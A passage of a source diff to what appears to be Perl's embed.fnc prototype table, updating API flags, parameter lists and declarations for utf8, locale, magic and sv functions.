@@ -828,25 +885,29 @@
 		|NN const U8 * const e
 AMpR	|bool	|_is_utf8_perl_idstart_with_len|NN const U8 *p		    \
 		|NN const U8 * const e
-ADMpR	|bool	|is_utf8_idcont	|NN const U8 *p
-ADMpR	|bool	|is_utf8_xidcont	|NN const U8 *p
-ADMpR	|bool	|is_utf8_alpha	|NN const U8 *p
-ADMpR	|bool	|is_utf8_ascii	|NN const U8 *p
-ADMpR	|bool	|is_utf8_blank	|NN const U8 *p
-ADMpR	|bool	|is_utf8_space	|NN const U8 *p
-ADMpR	|bool	|is_utf8_perl_space	|NN const U8 *p
-ADMpR	|bool	|is_utf8_perl_word	|NN const U8 *p
-ADMpR	|bool	|is_utf8_cntrl	|NN const U8 *p
-ADMpR	|bool	|is_utf8_digit	|NN const U8 *p
-ADMpR	|bool	|is_utf8_posix_digit	|NN const U8 *p
-ADMpR	|bool	|is_utf8_graph	|NN const U8 *p
-ADMpR	|bool	|is_utf8_upper	|NN const U8 *p
-ADMpR	|bool	|is_utf8_lower	|NN const U8 *p
-ADMpR	|bool	|is_utf8_print	|NN const U8 *p
-ADMpR	|bool	|is_utf8_punct	|NN const U8 *p
-ADMpR	|bool	|is_utf8_xdigit	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_idcont	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_xidcont	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_alpha	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_ascii	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_blank	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_space	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_perl_space	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_perl_word	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_cntrl	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_digit	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_posix_digit	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_graph	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_upper	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_lower	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_print	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_punct	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_xdigit	|NN const U8 *p
 AMpR	|bool	|_is_utf8_mark	|NN const U8 *p
-ADMpR	|bool	|is_utf8_mark	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_mark	|NN const U8 *p
+#if defined(PERL_CORE) || defined(PERL_EXT)
+EXdpR	|bool	|isSCRIPT_RUN	|NN const U8 *s|NN const U8 *send   \
+				|const bool utf8_target
+#endif
 : Used in perly.y
 p	|OP*	|jmaybe		|NN OP *o
 : Used in pp.c 
@@ -902,7 +963,9 @@
 ApdR	|I32	|looks_like_number|NN SV *const sv
 Apd	|UV	|grok_bin	|NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
 #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C)
-EMpRX	|bool	|grok_bslash_x	|NN char** s|NN UV* uv           \
+EMpRX	|bool	|grok_bslash_x	|NN char** s		 \
+				|NN const char* const send	 \
+				|NN UV* uv			 \
 				|NN const char** error_msg       \
 				|const bool output_warning       \
 				|const bool strict               \
@@ -909,7 +972,9 @@
 				|const bool silence_non_portable \
 				|const bool utf8
 EMpRX	|char	|grok_bslash_c	|const char source|const bool output_warning
-EMpRX	|bool	|grok_bslash_o	|NN char** s|NN UV* uv           \
+EMpRX	|bool	|grok_bslash_o	|NN char** s		 \
+				|NN const char* const send	 \
+				|NN UV* uv			 \
 				|NN const char** error_msg       \
 				|const bool output_warning       \
 				|const bool strict               \
@@ -968,6 +1033,7 @@
 p	|int	|magic_setdbline|NN SV* sv|NN MAGIC* mg
 p	|int	|magic_setdebugvar|NN SV* sv|NN MAGIC* mg
 p	|int	|magic_setdefelem|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setnonelem|NN SV* sv|NN MAGIC* mg
 p	|int	|magic_setenv	|NN SV* sv|NN MAGIC* mg
 dp	|int	|magic_sethint	|NN SV* sv|NN MAGIC* mg
 p	|int	|magic_setisa	|NN SV* sv|NN MAGIC* mg
@@ -1014,6 +1080,7 @@
 				|I32 klen
 : Defined in mg.c, used only in scope.c
 pd	|void	|mg_localize	|NN SV* sv|NN SV* nsv|bool setmagic
+Apd	|SV*	|sv_string_from_errnum|int errnum|NULLOK SV* tgtsv
 ApdRn	|MAGIC*	|mg_find	|NULLOK const SV* sv|int type
 ApdRn	|MAGIC*	|mg_findext	|NULLOK const SV* sv|int type|NULLOK const MGVTBL *vtbl
 : exported for re.pm
@@ -1020,6 +1087,7 @@
 EXpR	|MAGIC*	|mg_find_mglob	|NN SV* sv
 Apd	|int	|mg_free	|NN SV* sv
 Apd	|void	|mg_free_type	|NN SV* sv|int how
+Apd	|void	|mg_freeext	|NN SV* sv|int how|NULLOK const MGVTBL *vtbl
 Apd	|int	|mg_get		|NN SV* sv
 ApdD	|U32	|mg_length	|NN SV* sv
 Apdn	|void	|mg_magical	|NN SV* sv
@@ -1029,20 +1097,17 @@
 AMmd	|OP*	|op_lvalue	|NULLOK OP* o|I32 type
 poX	|OP*	|op_lvalue_flags|NULLOK OP* o|I32 type|U32 flags
 p	|void	|finalize_optree		|NN OP* o
+p	|void	|optimize_optree|NN OP* o
 #if defined(PERL_IN_OP_C)
+s	|void	|optimize_op	|NN OP* o
 s	|void	|finalize_op	|NN OP* o
-s	|void	|move_proto_attr|NN OP **proto|NN OP **attrs|NN const GV *name
+s	|void	|move_proto_attr|NN OP **proto|NN OP **attrs \
+				|NN const GV *name|bool curstash
 #endif
 : Used in op.c and pp_sys.c
 p	|int	|mode_from_discipline|NULLOK const char* s|STRLEN len
 Ap	|const char*	|moreswitches	|NN const char* s
 Ap	|NV	|my_atof	|NN const char *s
-#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
-Anp	|void*	|my_bcopy	|NN const void* vfrom|NN void* vto|size_t len
-#endif
-#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
-Anp	|void*	|my_bzero	|NN void* vloc|size_t len
-#endif
 Apr	|void	|my_exit	|U32 status
 Apr	|void	|my_failure_exit
 Ap	|I32	|my_fflush_all
@@ -1051,12 +1116,9 @@
 Anp	|void	|atfork_unlock
 Apmb	|I32	|my_lstat
 pX	|I32	|my_lstat_flags	|NULLOK const U32 flags
-#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
-AnpP	|int	|my_memcmp	|NN const void* vs1|NN const void* vs2|size_t len
+#if ! defined(HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT))
+Exin	|void *	|my_memrchr	|NN const char * s|const char c|const STRLEN len
 #endif
-#if !defined(HAS_MEMSET)
-Anp	|void*	|my_memset	|NN void* vloc|int ch|size_t len
-#endif
 #if !defined(PERL_IMPLICIT_SYS)
 Ap	|I32	|my_pclose	|NULLOK PerlIO* ptr
 Ap	|PerlIO*|my_popen	|NN const char* cmd|NN const char* mode
@@ -1094,7 +1156,7 @@
 ApdR	|OP*	|newSTATEOP	|I32 flags|NULLOK char* label|NULLOK OP* o
 Apbm	|CV*	|newSUB		|I32 floor|NULLOK OP* o|NULLOK OP* proto \
 				|NULLOK OP* block
-p	|CV *	|newXS_len_flags|NULLOK const char *name|STRLEN len \
+pd	|CV *	|newXS_len_flags|NULLOK const char *name|STRLEN len \
 				|NN XSUBADDR_t subaddr\
 				|NULLOK const char *const filename \
 				|NULLOK const char *const proto \
@@ -1137,7 +1199,7 @@
 ApdR	|SV*	|newSVuv	|const UV u
 ApdR	|SV*	|newSVnv	|const NV n
 ApdR	|SV*	|newSVpv	|NULLOK const char *const s|const STRLEN len
-ApdR	|SV*	|newSVpvn	|NULLOK const char *const s|const STRLEN len
+ApdR	|SV*	|newSVpvn	|NULLOK const char *const buffer|const STRLEN len
 ApdR	|SV*	|newSVpvn_flags	|NULLOK const char *const s|const STRLEN len|const U32 flags
 ApdR	|SV*	|newSVhek	|NULLOK const HEK *const hek
 ApdR	|SV*	|newSVpvn_share	|NULLOK const char* s|I32 len|U32 hash
@@ -1163,11 +1225,13 @@
 po	|OP*	|ck_entersub_args_core|NN OP *entersubop|NN GV *namegv \
 				      |NN SV *protosv
 Apd	|void	|cv_get_call_checker|NN CV *cv|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p
+Apd	|void	|cv_get_call_checker_flags|NN CV *cv|U32 gflags|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p|NN U32 *ckflags_p
 Apd	|void	|cv_set_call_checker|NN CV *cv|NN Perl_call_checker ckfun|NN SV *ckobj
 Apd	|void	|cv_set_call_checker_flags|NN CV *cv \
 					  |NN Perl_call_checker ckfun \
-					  |NN SV *ckobj|U32 flags
+					  |NN SV *ckobj|U32 ckflags
 Apd	|void	|wrap_op_checker|Optype opcode|NN Perl_check_t new_checker|NN Perl_check_t *old_checker_p
+AMpd	|void	|wrap_keyword_plugin|NN Perl_keyword_plugin_t new_plugin|NN Perl_keyword_plugin_t *old_plugin_p
 ApR	|PERL_SI*|new_stackinfo|I32 stitems|I32 cxitems
 Ap	|char*	|scan_vstring	|NN const char *s|NN const char *const e \
 				|NN SV *sv
@@ -1230,7 +1294,7 @@
 ApdO	|I32	|call_argv	|NN const char* sub_name|I32 flags|NN char** argv
 ApdO	|I32	|call_method	|NN const char* methname|I32 flags
 ApdO	|I32	|call_pv	|NN const char* sub_name|I32 flags
-ApdO	|I32	|call_sv	|NN SV* sv|VOL I32 flags
+ApdO	|I32	|call_sv	|NN SV* sv|volatile I32 flags
 Ap	|void	|despatch_signals
 Ap	|OP *	|doref		|NN OP *o|I32 type|bool set_op_ref
 ApdO	|SV*	|eval_pv	|NN const char* p|I32 croak_on_error
@@ -1240,25 +1304,25 @@
 ApdO	|HV*	|get_hv		|NN const char *name|I32 flags
 ApdO	|CV*	|get_cv		|NN const char* name|I32 flags
 Apd	|CV*	|get_cvn_flags	|NN const char* name|STRLEN len|I32 flags
-#ifdef WIN32
-ApM	|char*	|my_setlocale	|int category|NULLOK const char* locale
+Ando	|const char*|Perl_setlocale|const int category|NULLOK const char* locale
+#if defined(HAS_NL_LANGINFO) && defined(PERL_LANGINFO_H)
+Ando	|const char*|Perl_langinfo|const nl_item item
 #else
-AmM	|char*	|my_setlocale	|int category|NULLOK const char* locale
+Ando	|const char*|Perl_langinfo|const int item
 #endif
 ApOM	|int	|init_i18nl10n	|int printwarn
-ApOM	|int	|init_i18nl14n	|int printwarn
-ApM	|char*	|my_strerror	|const int errnum
-ApOM	|void	|new_collate	|NULLOK const char* newcoll
-ApOM	|void	|new_ctype	|NN const char* newctype
-EXpMn	|void	|_warn_problematic_locale
-ApOM	|void	|new_numeric	|NULLOK const char* newcoll
-Ap	|void	|set_numeric_local
-Ap	|void	|set_numeric_radix
-Ap	|void	|set_numeric_standard
-ApM	|bool	|_is_in_locale_category|const bool compiling|const int category
-Apd	|void	|sync_locale
+AbpOM	|int	|init_i18nl14n	|int printwarn
+p	|char*	|my_strerror	|const int errnum
+Xpn	|void	|_warn_problematic_locale
+Xp	|void	|set_numeric_underlying
+Xp	|void	|set_numeric_standard
+Xp	|bool	|_is_in_locale_category|const bool compiling|const int category
+Apdn	|void	|switch_to_global_locale
+Apdn	|bool	|sync_locale
+ApMn	|void	|thread_locale_init
+ApMn	|void	|thread_locale_term
 ApdO	|void	|require_pv	|NN const char* pv
-Apd	|void	|pack_cat	|NN SV *cat|NN const char *pat|NN const char *patend \
+Abpd	|void	|pack_cat	|NN SV *cat|NN const char *pat|NN const char *patend \
 				|NN SV **beglist|NN SV **endlist|NN SV ***next_in_list|U32 flags
 Apd	|void	|packlist 	|NN SV *cat|NN const char *pat|NN const char *patend|NN SV **beglist|NN SV **endlist
 #if defined(PERL_USES_PL_PIDSTATUS) && defined(PERL_IN_UTIL_C)
@@ -1290,7 +1354,7 @@
 Ap	|void	|pregfree	|NULLOK REGEXP* r
 Ap	|void	|pregfree2	|NN REGEXP *rx
 : FIXME - is anything in re using this now?
-EXp	|REGEXP*|reg_temp_copy	|NULLOK REGEXP* ret_x|NN REGEXP* rx
+EXp	|REGEXP*|reg_temp_copy	|NULLOK REGEXP* dsv|NN REGEXP* ssv
 Ap	|void	|regfree_internal|NN REGEXP *const rx
 #if defined(USE_ITHREADS)
 Ap	|void*	|regdupe_internal|NN REGEXP * const r|NN CLONE_PARAMS* param
@@ -1400,10 +1464,10 @@
 Ap	|void	|save_int	|NN int* intp
 Ap	|void	|save_item	|NN SV* item
 Ap	|void	|save_iv	|NN IV *ivp
-Ap	|void	|save_list	|NN SV** sarg|I32 maxsarg
-Ap	|void	|save_long	|NN long* longp
+Abp	|void	|save_list	|NN SV** sarg|I32 maxsarg
+Abp	|void	|save_long	|NN long* longp
 Apmb	|void	|save_mortalizesv|NN SV* sv
-Ap	|void	|save_nogv	|NN GV* gv
+Abp	|void	|save_nogv	|NN GV* gv
 : Used in SAVEFREOP(), used in gv.c, op.c, perl.c, pp_ctl.c, pp_sort.c
 Apmb	|void	|save_op
 Ap	|SV*	|save_scalar	|NN GV* gv
@@ -1443,7 +1507,7 @@
 : Only used by perl.c/miniperl.c, but defined in caretx.c
 px	|void	|set_caret_X
 Apd	|void	|setdefout	|NN GV* gv
-Ap	|HEK*	|share_hek	|NN const char* str|I32 len|U32 hash
+Ap	|HEK*	|share_hek	|NN const char* str|SSize_t len|U32 hash
 #if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
 : Used in perl.c
 np	|Signal_t |sighandler	|int sig|NULLOK siginfo_t *info|NULLOK void *uap
@@ -1454,9 +1518,10 @@
 #endif
 Ap	|SV**	|stack_grow	|NN SV** sp|NN SV** p|SSize_t n
 Ap	|I32	|start_subparse	|I32 is_format|U32 flags
+Xp	|void	|init_named_cv	|NN CV *cv|NN OP *nameop
 : Used in pp_ctl.c
 p	|void	|sub_crush_depth|NN CV* cv
-Amd	|bool	|sv_2bool	|NN SV *const sv
+Apbmd	|bool	|sv_2bool	|NN SV *const sv
 Apd	|bool	|sv_2bool_flags	|NN SV *sv|I32 flags
 Apd	|CV*	|sv_2cv		|NULLOK SV* sv|NN HV **const st|NN GV **const gvp \
 				|const I32 lref
@@ -1474,15 +1539,15 @@
 Apd	|char*	|sv_2pv_flags	|NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
 Apd	|char*	|sv_2pvutf8	|NN SV *sv|NULLOK STRLEN *const lp
 Apd	|char*	|sv_2pvbyte	|NN SV *sv|NULLOK STRLEN *const lp
-Ap	|char*	|sv_pvn_nomg	|NN SV* sv|NULLOK STRLEN* lp
+Abp	|char*	|sv_pvn_nomg	|NN SV* sv|NULLOK STRLEN* lp
 Apmb	|UV	|sv_2uv		|NN SV *sv
 Apd	|UV	|sv_2uv_flags	|NN SV *const sv|const I32 flags
-Apd	|IV	|sv_iv		|NN SV* sv
-Apd	|UV	|sv_uv		|NN SV* sv
-Apd	|NV	|sv_nv		|NN SV* sv
-Apd	|char*	|sv_pvn		|NN SV *sv|NN STRLEN *lp
-Apd	|char*	|sv_pvutf8n	|NN SV *sv|NN STRLEN *lp
-Apd	|char*	|sv_pvbyten	|NN SV *sv|NN STRLEN *lp
+Abpd	|IV	|sv_iv		|NN SV* sv
+Abpd	|UV	|sv_uv		|NN SV* sv
+Abpd	|NV	|sv_nv		|NN SV* sv
+Abpd	|char*	|sv_pvn		|NN SV *sv|NN STRLEN *lp
+Abpd	|char*	|sv_pvutf8n	|NN SV *sv|NN STRLEN *lp
+Abpd	|char*	|sv_pvbyten	|NN SV *sv|NN STRLEN *lp
 Apd	|I32	|sv_true	|NULLOK SV *const sv
 #if defined(PERL_IN_SV_C)
 sd	|void	|sv_add_arena	|NN char *const ptr|const U32 size \
@@ -1518,7 +1583,7 @@
 Apd	|I32	|sv_cmp_locale_flags	|NULLOK SV *const sv1 \
 				|NULLOK SV *const sv2|const U32 flags
 #if defined(USE_LOCALE_COLLATE)
-Amd	|char*	|sv_collxfrm	|NN SV *const sv|NN STRLEN *const nxp
+Apbmd	|char*	|sv_collxfrm	|NN SV *const sv|NN STRLEN *const nxp
 Apd	|char*	|sv_collxfrm_flags	|NN SV *const sv|NN STRLEN *const nxp|I32 const flags
 #endif
 Apd	|int	|getcwd_sv	|NN SV* sv
@@ -1535,7 +1600,7 @@
 ApdR	|bool	|sv_does_pv	|NN SV* sv|NN const char *const name|U32 flags
 ApdR	|bool	|sv_does_pvn	|NN SV* sv|NN const char *const name|const STRLEN len \
                                 |U32 flags
-Amd	|I32	|sv_eq		|NULLOK SV* sv1|NULLOK SV* sv2
+Apbmd	|I32	|sv_eq		|NULLOK SV* sv1|NULLOK SV* sv2
 Apd	|I32	|sv_eq_flags	|NULLOK SV* sv1|NULLOK SV* sv2|const U32 flags
 Apd	|void	|sv_free	|NULLOK SV *const sv
 poMX	|void	|sv_free2	|NN SV *const sv|const U32 refcnt
@@ -1617,14 +1682,14 @@
 Apd	|void	|sv_usepvn_flags|NN SV *const sv|NULLOK char* ptr|const STRLEN len\
 				|const U32 flags
 Apd	|void	|sv_vcatpvfn	|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
-				|NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+				|NULLOK va_list *const args|NULLOK SV **const svargs|const Size_t sv_count \
 				|NULLOK bool *const maybe_tainted
 Apd	|void	|sv_vcatpvfn_flags|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
-				|NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+				|NULLOK va_list *const args|NULLOK SV **const svargs|const Size_t sv_count \
 				|NULLOK bool *const maybe_tainted|const U32 flags
 Apd	|void	|sv_vsetpvfn	|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
 				|NULLOK va_list *const args|NULLOK SV **const svargs \
-				|const I32 svmax|NULLOK bool *const maybe_tainted
+				|const Size_t sv_count|NULLOK bool *const maybe_tainted
 ApR	|NV	|str_to_version	|NN SV *sv
 EXpRM	|SV*	|swash_init	|NN const char* pkg|NN const char* name|NN SV* listsv|I32 minbits|I32 none
 EXpM	|UV	|swash_fetch	|NN SV *swash|NN const U8 *ptr|bool do_utf8
@@ -1654,6 +1719,7 @@
 					|NN regnode *node
 EsMR	|SV*	|invlist_contents|NN SV* const invlist		    \
 				 |const bool traditional_style
+EsRn	|bool	|new_regcurly	|NN const char *s|NN const char *e
 #endif
 #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C)
 EXmM	|void	|_invlist_intersection	|NN SV* const a|NN SV* const b|NN SV** i
@@ -1677,7 +1743,7 @@
 		|NN SV* listsv|I32 minbits|I32 none \
 		|NULLOK SV* invlist|NULLOK U8* const flags_p
 #endif
-#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_UTF8_C)
 EiMRn	|UV*	|invlist_array	|NN SV* const invlist
 EiMRn	|bool*	|get_invlist_offset_addr|NN SV* invlist
 EiMRn	|UV	|_invlist_len	|NN SV* const invlist
@@ -1684,7 +1750,6 @@
 EMiRn	|bool	|_invlist_contains_cp|NN SV* const invlist|const UV cp
 EXpMRn	|SSize_t|_invlist_search	|NN SV* const invlist|const UV cp
 EXMpR	|SV*	|_get_swash_invlist|NN SV* const swash
-EXMpR	|HV*	|_swash_inversion_hash	|NN SV* const swash
 #endif
 #if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
 EXpM	|SV*	|_get_regclass_nonbitmap_data				   \
@@ -1694,7 +1759,6 @@
 				|NULLOK SV **listsvp			   \
 				|NULLOK SV **lonly_utf8_locale		   \
 				|NULLOK SV **output_invlist
-EXp	|void|_load_PL_utf8_foldclosures|
 #endif
 #if defined(PERL_IN_REGCOMP_C) || defined (PERL_IN_DUMP_C)
 EXMp	|void	|_invlist_dump	|NN PerlIO *file|I32 level   \
@@ -1703,20 +1767,17 @@
 #endif
 Ap	|void	|taint_env
 Ap	|void	|taint_proper	|NULLOK const char* f|NN const char *const s
-ApdD	|UV	|to_utf8_case	|NN const U8 *p					\
-				|NN U8* ustrp					\
-				|NULLOK STRLEN *lenp				\
-				|NN SV **swashp					\
-				|NN const char *normal|				\
-				NULLOK const char *special
-pM	|char *	|_byte_dump_string					\
-				|NN const U8 * s			\
+EpM	|char *	|_byte_dump_string					\
+				|NN const U8 * const start		\
 				|const STRLEN len			\
 				|const bool format
 #if defined(PERL_IN_UTF8_C)
-inR	|bool	|does_utf8_overflow|NN const U8 * const s|NN const U8 * e
-inR	|bool	|is_utf8_overlong_given_start_byte_ok|NN const U8 * const s|const STRLEN len
-inR	|bool	|isFF_OVERLONG	|NN const U8 * const s|const STRLEN len
+inR	|int	|does_utf8_overflow|NN const U8 * const s		\
+				   |NN const U8 * e			\
+				   |const bool consider_overlongs
+inR	|int	|is_utf8_overlong_given_start_byte_ok|NN const U8 * const s \
+						     |const STRLEN len
+inR	|int	|isFF_OVERLONG	|NN const U8 * const s|const STRLEN len
 sMR	|char *	|unexpected_non_continuation_text			\
 		|NN const U8 * const s					\
 		|STRLEN print_len					\
@@ -1739,9 +1800,11 @@
 				|NN const U8 *p					\
 				|NN U8* ustrp					\
 				|NULLOK STRLEN *lenp				\
-				|NN SV **swashp					\
-				|NN const char *normal 				\
-				|NULLOK const char *special
+				|NN SV *invlist					\
+				|NN const int * const invmap			\
+				|NULLOK const unsigned int * const * const aux_tables	\
+				|NULLOK const U8 * const aux_table_lengths	\
+				|NN const char * const normal
 #endif
 ApbmdD	|UV	|to_utf8_lower	|NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
 AMp	|UV	|_to_utf8_lower_flags|NN const U8 *p|NULLOK const U8* e		\
@@ -1768,10 +1831,10 @@
 #if defined(UNLINK_ALL_VERSIONS)
 Ap	|I32	|unlnk		|NN const char* f
 #endif
-Apd	|I32	|unpack_str	|NN const char *pat|NN const char *patend|NN const char *s \
+Abpd	|SSize_t|unpack_str	|NN const char *pat|NN const char *patend|NN const char *s \
 				|NULLOK const char *strbeg|NN const char *strend|NULLOK char **new_s \
 				|I32 ocnt|U32 flags
-Apd	|I32	|unpackstring	|NN const char *pat|NN const char *patend|NN const char *s \
+Apd	|SSize_t|unpackstring	|NN const char *pat|NN const char *patend|NN const char *s \
 				|NN const char *strend|U32 flags
 Ap	|void	|unsharepvn	|NULLOK const char* sv|I32 len|U32 hash
 : Used in gv.c, hv.c
@@ -1781,22 +1844,26 @@
 ApM	|void	|_force_out_malformed_utf8_message			    \
 		|NN const U8 *const p|NN const U8 * const e|const U32 flags \
 		|const bool die_here
-Ap	|U8*	|utf16_to_utf8	|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
-Ap	|U8*	|utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
-AdpPR	|STRLEN	|utf8_length	|NN const U8* s|NN const U8 *e
+EXp	|U8*	|utf16_to_utf8	|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+EXp	|U8*	|utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+AdpR	|STRLEN	|utf8_length	|NN const U8* s|NN const U8 *e
 AipdR	|IV	|utf8_distance	|NN const U8 *a|NN const U8 *b
 AipdRn	|U8*	|utf8_hop	|NN const U8 *s|SSize_t off
 AipdRn	|U8*	|utf8_hop_back|NN const U8 *s|SSize_t off|NN const U8 *start
 AipdRn	|U8*	|utf8_hop_forward|NN const U8 *s|SSize_t off|NN const U8 *end
 AipdRn	|U8*	|utf8_hop_safe	|NN const U8 *s|SSize_t off|NN const U8 *start|NN const U8 *end
-ApMd	|U8*	|utf8_to_bytes	|NN U8 *s|NN STRLEN *len
+ApMd	|U8*	|utf8_to_bytes	|NN U8 *s|NN STRLEN *lenp
 Apd	|int	|bytes_cmp_utf8	|NN const U8 *b|STRLEN blen|NN const U8 *u \
 				|STRLEN ulen
-ApMd	|U8*	|bytes_from_utf8|NN const U8 *s|NN STRLEN *len|NULLOK bool *is_utf8
-ApMd	|U8*	|bytes_to_utf8	|NN const U8 *s|NN STRLEN *len
+AModp	|U8*	|bytes_from_utf8|NN const U8 *s|NN STRLEN *lenp|NN bool *is_utf8p
+AMnp	|U8*	|bytes_from_utf8_loc|NN const U8 *s			    \
+				    |NN STRLEN *lenp			    \
+				    |NN bool *is_utf8p			    \
+				    |NULLOK const U8 ** first_unconverted
+ApMd	|U8*	|bytes_to_utf8	|NN const U8 *s|NN STRLEN *lenp
 ApdD	|UV	|utf8_to_uvchr	|NN const U8 *s|NULLOK STRLEN *retlen
-ApdD	|UV	|utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
-ApMD	|UV	|valid_utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
+AbpdD	|UV	|utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
+AbpMD	|UV	|valid_utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
 Aopd	|UV	|utf8_to_uvchr_buf	|NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
 ApdD	|UV	|utf8_to_uvuni_buf	|NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
 pM	|bool	|check_utf8_print	|NN const U8 *s|const STRLEN len
@@ -1805,11 +1872,17 @@
 				|STRLEN curlen				    \
 				|NULLOK STRLEN *retlen			    \
 				|const U32 flags
-Adp	|UV	|utf8n_to_uvchr_error|NN const U8 *s			    \
+Adop	|UV	|utf8n_to_uvchr_error|NN const U8 *s			    \
 				|STRLEN curlen				    \
 				|NULLOK STRLEN *retlen			    \
 				|const U32 flags			    \
 				|NULLOK U32 * errors
+AMdp	|UV	|utf8n_to_uvchr_msgs|NN const U8 *s			    \
+				|STRLEN curlen				    \
+				|NULLOK STRLEN *retlen			    \
+				|const U32 flags			    \
+				|NULLOK U32 * errors			    \
+				|NULLOK AV ** msgs
 AipnR	|UV	|valid_utf8_to_uvchr	|NN const U8 *s|NULLOK STRLEN *retlen
 Ap	|UV	|utf8n_to_uvuni|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
 
@@ -1816,10 +1889,15 @@
 Adm	|U8*	|uvchr_to_utf8	|NN U8 *d|UV uv
 Ap	|U8*	|uvuni_to_utf8	|NN U8 *d|UV uv
 Adm	|U8*	|uvchr_to_utf8_flags	|NN U8 *d|UV uv|UV flags
-Apd	|U8*	|uvoffuni_to_utf8_flags	|NN U8 *d|UV uv|const UV flags
+AdmM	|U8*	|uvchr_to_utf8_flags_msgs|NN U8 *d|UV uv|UV flags|NULLOK HV ** msgs
+Apod	|U8*	|uvoffuni_to_utf8_flags	|NN U8 *d|UV uv|const UV flags
+ApM	|U8*	|uvoffuni_to_utf8_flags_msgs|NN U8 *d|UV uv|const UV flags|NULLOK HV** msgs
 Ap	|U8*	|uvuni_to_utf8_flags	|NN U8 *d|UV uv|UV flags
 Apd	|char*	|pv_uni_display	|NN SV *dsv|NN const U8 *spv|STRLEN len|STRLEN pvlim|UV flags
 ApdR	|char*	|sv_uni_display	|NN SV *dsv|NN SV *ssv|STRLEN pvlim|UV flags
+EXpR	|Size_t	|_inverse_folds	|const UV cp				    \
+				|NN unsigned int * first_folds_to	    \
+				|NN const unsigned int ** remaining_folds_to
 : Used by Data::Alias
 EXp	|void	|vivify_defelem	|NN SV* sv
 : Used in pp.c
@@ -1967,12 +2045,13 @@
 Apd	|void	|sv_force_normal_flags|NN SV *const sv|const U32 flags
 pX	|SSize_t|tmps_grow_p	|SSize_t ix
 Apd	|SV*	|sv_rvweaken	|NN SV *const sv
+Apd	|SV*	|sv_rvunweaken	|NN SV *const sv
 AnpMd	|SV*	|sv_get_backrefs|NN SV *const sv
 : This is indirectly referenced by globals.c. This is somewhat annoying.
 p	|int	|magic_killbackrefs|NN SV *sv|NN MAGIC *mg
 Ap	|OP*	|newANONATTRSUB	|I32 floor|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
 Am	|CV*	|newATTRSUB	|I32 floor|NULLOK OP *o|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
-pX	|CV*	|newATTRSUB_x	|I32 floor|NULLOK OP *o|NULLOK OP *proto \
+pdX	|CV*	|newATTRSUB_x	|I32 floor|NULLOK OP *o|NULLOK OP *proto \
 				 |NULLOK OP *attrs|NULLOK OP *block \
 				 |bool o_is_gv
 Ap	|CV *	|newMYSUB	|I32 floor|NN OP *o|NULLOK OP *proto \
@@ -2021,8 +2100,8 @@
 #endif
 
 Amop	|const XOP *	|custom_op_xop	|NN const OP *o
-ApR	|const char *	|custom_op_name	|NN const OP *o
-ApR	|const char *	|custom_op_desc	|NN const OP *o
+AbpR	|const char *	|custom_op_name	|NN const OP *o
+AbpR	|const char *	|custom_op_desc	|NN const OP *o
 pRX	|XOPRETANY	|custom_op_get_field	|NN const OP *o|const xop_flags_enum field
 Aop	|void	|custom_op_register	|NN Perl_ppaddr_t ppaddr \
 			|NN const XOP *xop
@@ -2035,12 +2114,12 @@
 p	|void	|init_constants
 
 #if defined(PERL_IN_DOOP_C)
-sR	|I32	|do_trans_simple	|NN SV * const sv
-sR	|I32	|do_trans_count		|NN SV * const sv
-sR	|I32	|do_trans_complex	|NN SV * const sv
-sR	|I32	|do_trans_simple_utf8	|NN SV * const sv
